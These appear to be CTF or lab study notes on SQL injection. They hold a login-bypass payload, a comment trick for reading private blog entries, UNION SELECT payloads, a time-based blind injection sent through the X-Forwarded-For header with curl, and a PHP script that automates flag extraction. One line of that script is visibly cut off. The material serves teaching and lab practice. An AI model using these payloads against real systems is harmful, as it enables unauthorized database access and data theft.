SQL Injection
A classic example that bypasses an admin login panel:
Username: admin’ or 1=1-- -;
Password: blah
What Does It Look Like?
Take a scenario where you've come across an online blog, and each blog entry has a unique id number. Entries are set to public or private depending on whether they're ready for release. The URL for each entry might look like this:
https://website.thm/blog?id=1
The entry being selected comes from the id parameter in the query string. The web application retrieves the article from the database, perhaps with a statement like:
SELECT * from blog where id=1 and private=0 LIMIT 1;
This looks in the blog table for an article with id 1 and the private column set to 0, meaning it's viewable by the public, and limits the results to one match.
SQL injection is introduced when user input is placed into the database query. Here, the id parameter from the query string is used directly in the SQL query.
Pretend article id 2 is locked as private and can't be viewed on the website. We could instead call the URL:
https://website.thm/blog?id=2;--
Which produces the SQL statement:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
The semicolon in the URL signifies the end of the SQL statement, and the two dashes cause everything afterwards to be treated as a comment. This means you're really just running:
SELECT * from blog where id=2;--
Which returns the article with id 2 whether it's set to public or not.
That was one example of an In-Band SQL Injection. There are 3 types in total: In-Band, Blind, and Out Of Band, which are covered over the next tasks.
UNION Commands
post?id=0 UNION SELECT 1,2,flag,4 FROM flag;
In MySQL this looks like SELECT * FROM posts WHERE id=0 UNION SELECT 1,2,flag,4 FROM flag;. The 1,2,flag,4 means there are 4 columns in the table, as seen below.
X-Forwarded-For Injection
curl -H "X-Forwarded-For: ' UNION SELECT SLEEP(3),2,3 FROM flag WHERE flag LIKE 'T%';--" http://10.10.233.100
Doing this by hand would take a long time, so we can automate it with a PHP script:
<?php
$chars = array_merge(range(0,0),range('A','Z'),['{','}',':']);
$flag = '';
for($i=0;$i<40;$i++) {
foreach ($chars as $c) {
$start = date("U");
system('curl -s -H "X-Forwarded-For: \' UNION SELECT SLEEP(3),2,3 FROM flag WHERE flag LIKE \'' . $flag . $c. '%>
$end = date("U");
if (($end - $start) > 2) {
echo "Found: ".$flag.$c."\n";
$flag .= $c;
}
}
}
echo "\n\nResult: ".$flag."\n";
user?id=0 UNION SELECT "0 UNION SELECT 1,flag,3,4 from flag ",2,3;--